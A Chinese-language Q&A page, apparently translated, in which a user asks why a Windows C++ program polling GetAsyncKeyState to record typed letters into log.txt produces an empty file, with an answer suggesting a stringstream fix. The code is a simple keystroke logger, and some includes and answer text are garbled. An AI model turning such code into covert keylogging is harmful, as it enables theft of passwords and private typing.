一千萬個為什麽

搜索

將鍵輸入寫入文件

我正在使用代碼塊中的GNU GCC編譯器編譯此代碼但由於某種原因,它創建的日誌文件無論如何都保持為空。任何想法為什麽會這樣?

#include 
#include 
#include 
#include 

using namespace std;

int i;
string s;

int main()
{
    ofstream log;
    log.open("log.txt");
    while (!GetAsyncKeyState(VK_F8)) {
        for (i=65; i<90; i++) {
            if (GetAsyncKeyState(i)) {
                s+=i;
            }
            Sleep(10);
        }

        if (GetAsyncKeyState(VK_SPACE)) {
            s+=" ";
        }
    }

    log << s;
    log.close();
    cin.get();
}

最佳答案

請考慮以下幾點:


Are you trying log << "TEST" in the condition?

試試這個(在 log.open 調用之後):

log.open("log.txt");
log << "TEST" << endl;

如果 TEST 被寫入文件,則您的文件為空,因為條件永遠不會成立。


另一個問題可能是該文件包含不可顯示的字符。 將文件轉儲到十六進制編輯器。該文件的大小是 0 還是包含您可能無法在常用文本編輯器上顯示的數據?


* 編輯:* 這應該做你想要的:

i“”直接寫入 log 或使用stringstream:

#include 

//...

ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
    for (i=65; i<90; i++) {
        if (GetAsyncKeyState(i)) {
            str << i;
        }
        Sleep(10);
    }

    if (GetAsyncKeyState(VK_SPACE)) {
        str << " ";
    }
}

log << str.rdbuf();
log.close();
cin.get();

轉載註明原文: 將鍵輸入寫入文件